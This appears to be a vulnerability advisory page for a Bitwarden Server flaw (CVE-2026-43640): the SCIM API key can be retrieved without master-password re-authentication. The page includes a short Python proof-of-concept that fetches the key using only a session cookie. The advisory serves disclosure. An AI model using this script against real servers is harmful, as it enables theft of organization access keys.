Security Vulnerability Report
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CVE-2026-43640 CVSS 8.1 HIGH

CVE-2026-43640

Published: 2026-05-11 18:16:37
Last Modified: 2026-05-11 18:16:37

Description

Bitwarden Server prior to v2026.4.1 does not require master-password re-authentication when retrieving or rotating an organization's SCIM API key, allowing an authenticated user with SCIM management privileges to obtain the key using only a valid session.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Bitwarden Server < v2026.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Bitwarden Server SCIM Key Retrieval without Re-auth # Description: Retrieve SCIM key using a valid session cookie without master password. target_url = "https://bitwarden.example.com/scim/v2/organizations/<org_id>/key" session_cookie = "<valid_session_cookie>" headers = { "Cookie": f"BitwardenSession={session_cookie}", "Content-Type": "application/json" } try: response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Successfully retrieved SCIM Key:") print(response.text) else: print(f"[-] Failed to retrieve key. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

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